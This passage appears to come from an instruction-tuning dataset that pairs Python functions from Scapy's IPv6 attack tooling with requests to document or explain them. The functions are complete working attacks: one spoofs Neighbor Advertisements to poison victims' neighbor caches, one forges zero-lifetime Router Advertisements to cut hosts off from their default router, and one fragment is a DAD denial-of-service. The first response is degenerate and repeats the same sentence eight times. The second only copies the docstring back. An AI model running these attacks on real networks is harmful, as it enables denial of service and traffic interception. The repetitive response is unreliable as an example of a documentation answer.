    leading the peer to believe that another node is also performing DAD
    for that address.

    By default, the fake NA sent to create the DoS uses:
     - as target address the target address found in received NS.
     - as IPv6 source address: the target address found in received NS.
     - as IPv6 destination address: the link-local solicited-node multicast
       address derived from the target address in received NS.
     - the mac address of the interface as source (or reply_mac, see below).
     - the multicast mac address derived from the solicited node multicast
       address used as IPv6 destination address.
     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr) filled
       with the mac address used as source of the NA.

    Following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
          DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only NS messages received from this source will trigger replies.
         This allows limiting the effects of the DoS to a single target by
         filtering on its mac address. The default value is None: the DoS
         is not limited to a specific mac address.

    tgt_filter: Same as previous but for a specific target IPv6 address for
         received NS. If the target address in the NS message (not the IPv6
         destination address) matches that address, then a fake reply will
         be sent, i.e. the emitter will be a target of the DoS.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface. This
         address will also be used in the Target Link-Layer Address option.
    """

    def na_reply_callback(req, reply_mac, iface):
        """
        Callback that reply to a NS with a NA
        """

        # Let's build a reply and send it
        mac = req[Ether].src
        dst = req[IPv6].dst
        tgt = req[ICMPv6ND_NS].tgt
        rep = Ether(src=reply_mac) / IPv6(src=tgt, dst=dst)
        rep /= ICMPv6ND_NA(tgt=tgt, S=0, R=0, O=1)  # noqa: E741
        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)
        sendp(rep, iface=iface, verbose=0)

        print("Reply NA for target address %s (received from %s)" % (tgt, mac))

    _NDP_Attack_DAD_DoS(na_reply_callback, iface, mac_src_filter,
                        tgt_filter, reply_mac)


Instruction:
Can you generate the documentation for the following Python 3 function
def NDP_Attack_NA_Spoofing(iface=None, mac_src_filter=None, tgt_filter=None,
                           reply_mac=None, router=False):
    """
    The main purpose of this function is to send fake Neighbor Advertisement
    messages to a victim. As the emission of unsolicited Neighbor Advertisement
    is pretty pointless (from an attacker standpoint) because it will not
    lead to a modification of a victim's neighbor cache, the function send
    advertisements in response to received NS (NS sent as part of the DAD,
    i.e. with an unspecified address as source, are not considered).

    By default, the fake NA sent to create the DoS uses:
     - as target address the target address found in received NS.
     - as IPv6 source address: the target address
     - as IPv6 destination address: the source IPv6 address of received NS
       message.
     - the mac address of the interface as source (or reply_mac, see below).
     - the source mac address of the received NS as destination macs address
       of the emitted NA.
     - A Target Link-Layer address option (ICMPv6NDOptDstLLAddr)
       filled with the mac address used as source of the NA.

    Following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
          DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only NS messages received from this source will trigger replies.
         This allows limiting the effects of the DoS to a single target by
         filtering on its mac address. The default value is None: the DoS
         is not limited to a specific mac address.

    tgt_filter: Same as previous but for a specific target IPv6 address for
         received NS. If the target address in the NS message (not the IPv6
         destination address) matches that address, then a fake reply will
         be sent, i.e. the emitter will be a target of the DoS.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface. This
         address will also be used in the Target Link-Layer Address option.

    router: by the default (False) the 'R' flag in the NA used for the reply
         is not set. If the parameter is set to True, the 'R' flag in the
         NA is set, advertising us as a router.

    Please, keep the following in mind when using the function: for obvious
    reasons (kernel space vs. Python speed), when the target of the address
    resolution is on the link, the sender of the NS receives 2 NA messages
    in a row, the valid one and our fake one. The second one will overwrite
    the information provided by the first one, i.e. the natural latency of
    Scapy helps here.

    In practice, on a common Ethernet link, the emission of the NA from the
    genuine target (kernel stack) usually occurs in the same millisecond as
    the receipt of the NS. The NA generated by Scapy6 will usually come after
    something 20+ ms. On a usual testbed for instance, this difference is
    sufficient to have the first data packet sent from the victim to the
    destination before it even receives our fake NA.
    """

    def is_request(req, mac_src_filter, tgt_filter):
        """
        Check if packet req is a request
        """

        # Those simple checks are based on Section 5.4.2 of RFC 4862
        if not (Ether in req and IPv6 in req and ICMPv6ND_NS in req):
            return 0

        mac_src = req[Ether].src
        if mac_src_filter and mac_src != mac_src_filter:
            return 0

        # Source must NOT be the unspecified address
        if req[IPv6].src == "::":
            return 0

        tgt = inet_pton(socket.AF_INET6, req[ICMPv6ND_NS].tgt)
        if tgt_filter and tgt != tgt_filter:
            return 0

        dst = req[IPv6].dst
        if in6_isllsnmaddr(dst):  # Address is Link Layer Solicited Node mcast.

            # If this is a real address resolution NS, then the destination
            # address of the packet is the link-local solicited node multicast
            # address associated with the target of the NS.
            # Otherwise, the NS is a NUD related one, i.e. the peer is
            # unicasting the NS to check the target is still alive (L2
            # information is still in its cache and it is verified)
            received_snma = inet_pton(socket.AF_INET6, dst)
            expected_snma = in6_getnsma(tgt)
            if received_snma != expected_snma:
                print("solicited node multicast @ does not match target @!")
                return 0

        return 1

    def reply_callback(req, reply_mac, router, iface):
        """
        Callback that reply to a NS with a spoofed NA
        """

        # Let's build a reply (as defined in Section 7.2.4. of RFC 4861) and
        # send it back.
        mac = req[Ether].src
        pkt = req[IPv6]
        src = pkt.src
        tgt = req[ICMPv6ND_NS].tgt
        rep = Ether(src=reply_mac, dst=mac) / IPv6(src=tgt, dst=src)
        # Use the target field from the NS
        rep /= ICMPv6ND_NA(tgt=tgt, S=1, R=router, O=1)  # noqa: E741

        # "If the solicitation IP Destination Address is not a multicast
        # address, the Target Link-Layer Address option MAY be omitted"
        # Given our purpose, we always include it.
        rep /= ICMPv6NDOptDstLLAddr(lladdr=reply_mac)

        sendp(rep, iface=iface, verbose=0)

        print("Reply NA for target address %s (received from %s)" % (tgt, mac))

    if not iface:
        iface = conf.iface
    # To prevent sniffing our own traffic
    if not reply_mac:
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = "icmp6 and not ether src %s" % reply_mac

    router = (router and 1) or 0  # Value of the R flags in NA

    sniff(store=0,
          filter=sniff_filter,
          lfilter=lambda x: is_request(x, mac_src_filter, tgt_filter),
          prn=lambda x: reply_callback(x, reply_mac, router, iface),
          iface=iface)

Response: This function is used to send fake NDP NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim. It is used to send fake NAs to a victim.


Instruction:
Explain what the following Python 3 code does
def NDP_Attack_Kill_Default_Router(iface=None, mac_src_filter=None,
                                   ip_src_filter=None, reply_mac=None,
                                   tgt_mac=None):
    """
    The purpose of the function is to monitor incoming RA messages
    sent by default routers (RA with a non-zero Router Lifetime values)
    and invalidate them by immediately replying with fake RA messages
    advertising a zero Router Lifetime value.

    The result on receivers is that the router is immediately invalidated,
    i.e. the associated entry is discarded from the default router list
    and destination cache is updated to reflect the change.

    By default, the function considers all RA messages with a non-zero
    Router Lifetime value but provides configuration knobs to allow
    filtering RA sent by specific routers (Ethernet source address).
    With regard to emission, the multicast all-nodes address is used
    by default but a specific target can be used, in order for the DoS to
    apply only to a specific host.

    More precisely, following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
         DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only RA messages received from this source will trigger replies.
         If other default routers advertised their presence on the link,
         their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific mac address.

    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
         on. Only RA messages received from this source address will trigger
         replies. If other default routers advertised their presence on the
         link, their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific IPv6 source
         address.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface.

    tgt_mac: allow limiting the effect of the DoS to a specific host,
         by sending the "invalidating RA" only to its mac address.
    """

    def is_request(req, mac_src_filter, ip_src_filter):
        """
        Check if packet req is a request
        """

        if not (Ether in req and IPv6 in req and ICMPv6ND_RA in req):
            return 0

        mac_src = req[Ether].src
        if mac_src_filter and mac_src != mac_src_filter:
            return 0

        ip_src = req[IPv6].src
        if ip_src_filter and ip_src != ip_src_filter:
            return 0

        # Check if this is an advertisement for a Default Router
        # by looking at Router Lifetime value
        if req[ICMPv6ND_RA].routerlifetime == 0:
            return 0

        return 1

    def ra_reply_callback(req, reply_mac, tgt_mac, iface):
        """
        Callback that sends an RA with a 0 lifetime
        """

        # Let's build a reply and send it

        src = req[IPv6].src

        # Prepare packets parameters
        ether_params = {}
        if reply_mac:
            ether_params["src"] = reply_mac

        if tgt_mac:
            ether_params["dst"] = tgt_mac

        # Basis of fake RA (high pref, zero lifetime)
        rep = Ether(**ether_params) / IPv6(src=src, dst="ff02::1")
        rep /= ICMPv6ND_RA(prf=1, routerlifetime=0)

        # Add it a PIO from the request ...
        tmp = req
        while ICMPv6NDOptPrefixInfo in tmp:
            pio = tmp[ICMPv6NDOptPrefixInfo]
            tmp = pio.payload
            del(pio.payload)
            rep /= pio

        # ... and source link layer address option
        if ICMPv6NDOptSrcLLAddr in req:
            mac = req[ICMPv6NDOptSrcLLAddr].lladdr
        else:
            mac = req[Ether].src
        rep /= ICMPv6NDOptSrcLLAddr(lladdr=mac)

        sendp(rep, iface=iface, verbose=0)

        print("Fake RA sent with source address %s" % src)

    if not iface:
        iface = conf.iface
    # To prevent sniffing our own traffic
    if not reply_mac:
        reply_mac = get_if_hwaddr(iface)
    sniff_filter = "icmp6 and not ether src %s" % reply_mac

    sniff(store=0,
          filter=sniff_filter,
          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
          prn=lambda x: ra_reply_callback(x, reply_mac, tgt_mac, iface),
          iface=iface)

Response:
The purpose of the function is to monitor incoming RA messages
    sent by default routers (RA with a non-zero Router Lifetime values)
    and invalidate them by immediately replying with fake RA messages
    advertising a zero Router Lifetime value.

    The result on receivers is that the router is immediately invalidated,
    i.e. the associated entry is discarded from the default router list
    and destination cache is updated to reflect the change.

    By default, the function considers all RA messages with a non-zero
    Router Lifetime value but provides configuration knobs to allow
    filtering RA sent by specific routers (Ethernet source address).
    With regard to emission, the multicast all-nodes address is used
    by default but a specific target can be used, in order for the DoS to
    apply only to a specific host.

    More precisely, following arguments can be used to change the behavior:

    iface: a specific interface (e.g. "eth0") of the system on which the
         DoS should be launched. If None is provided conf.iface is used.

    mac_src_filter: a mac address (e.g "00:13:72:8c:b5:69") to filter on.
         Only RA messages received from this source will trigger replies.
         If other default routers advertised their presence on the link,
         their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific mac address.

    ip_src_filter: an IPv6 address (e.g. fe80::21e:bff:fe4e:3b2) to filter
         on. Only RA messages received from this source address will trigger
         replies. If other default routers advertised their presence on the
         link, their clients will not be impacted by the attack. The default
         value is None: the DoS is not limited to a specific IPv6 source
         address.

    reply_mac: allow specifying a specific source mac address for the reply,
         i.e. to prevent the use of the mac address of the interface.

    tgt_mac: allow limiting the effect of the DoS to a specific host,
         by sending the "invalidating RA" only to its mac address.